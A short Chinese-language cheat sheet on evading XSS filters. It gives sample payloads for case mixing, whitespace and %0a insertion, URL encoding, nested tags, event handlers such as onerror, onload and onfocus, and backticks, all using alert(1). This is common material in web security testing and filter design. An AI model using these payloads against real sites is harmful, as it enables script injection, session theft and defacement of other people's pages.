XSS 绕过方式

1. 大小写混淆绕过

许多过滤规则是针对特定大小写模式的，比如 <script>。你可以尝试使用大小写混淆的方式来绕过，例如：

• <sCrIpT>
• <ScrIpT>
• <SCript>

这种方式通常在不区分大小写的环境中有效

2. 空白字符、换行符和 Tab 键绕过

过滤器有时会忽略或者处理不当某些空白字符。你可以尝试在标签、属性名或者属性值之间插入空格、换行符（%0a或%0d）或者 Tab 键（%09）来绕过，例如：

• <img src="javascript:alert(1);"> 可以尝试写成 <img src=" javascript: alert(1); ">
• <script>alert(1)</script> 可以尝试写成 <script%0a>alert(1)</script>

3. 使用编码绕过

许多过滤器会试图拦截特定字符，比如尖括号 < > 和引号 " '。你可以使用 HTML 实体编码、URL 编码或者其他编码方式来绕过

• URL 编码：
  • ( 编码为 %28
  • ) 编码为 %29
  • 编码为 %20

4. 标签和属性嵌套绕过

有些过滤器可能只过滤顶层的脚本标签，但忽略嵌套的标签。你可以尝试在标签内部使用其他标签或者属性来注入，例如：

• <a href="javascript:alert(1)">Click Me</a>
• <img src="x" onerror="alert(1)">
• <svg onload=alert(1)>

5. 事件处理器绕过

除了最常见的 onload 和 onerror 事件，还有很多其他事件可以用来触发脚本，例如：

• onmouseover
• onmouseout
• onclick
• onfocus
• onblur
• onchange

例如：<input onfocus=alert(1) autofocus>

6. 使用特殊字符绕过

一些特殊字符，如反引号（`）、反斜杠（``）等，在特定情况下可以用来绕过过滤。例如，在某些 JavaScript 语法中，反引号可以用来包裹字符串并执行代码

版权所有

许可证：署名 4.0 国际 (CC-BY-4.0)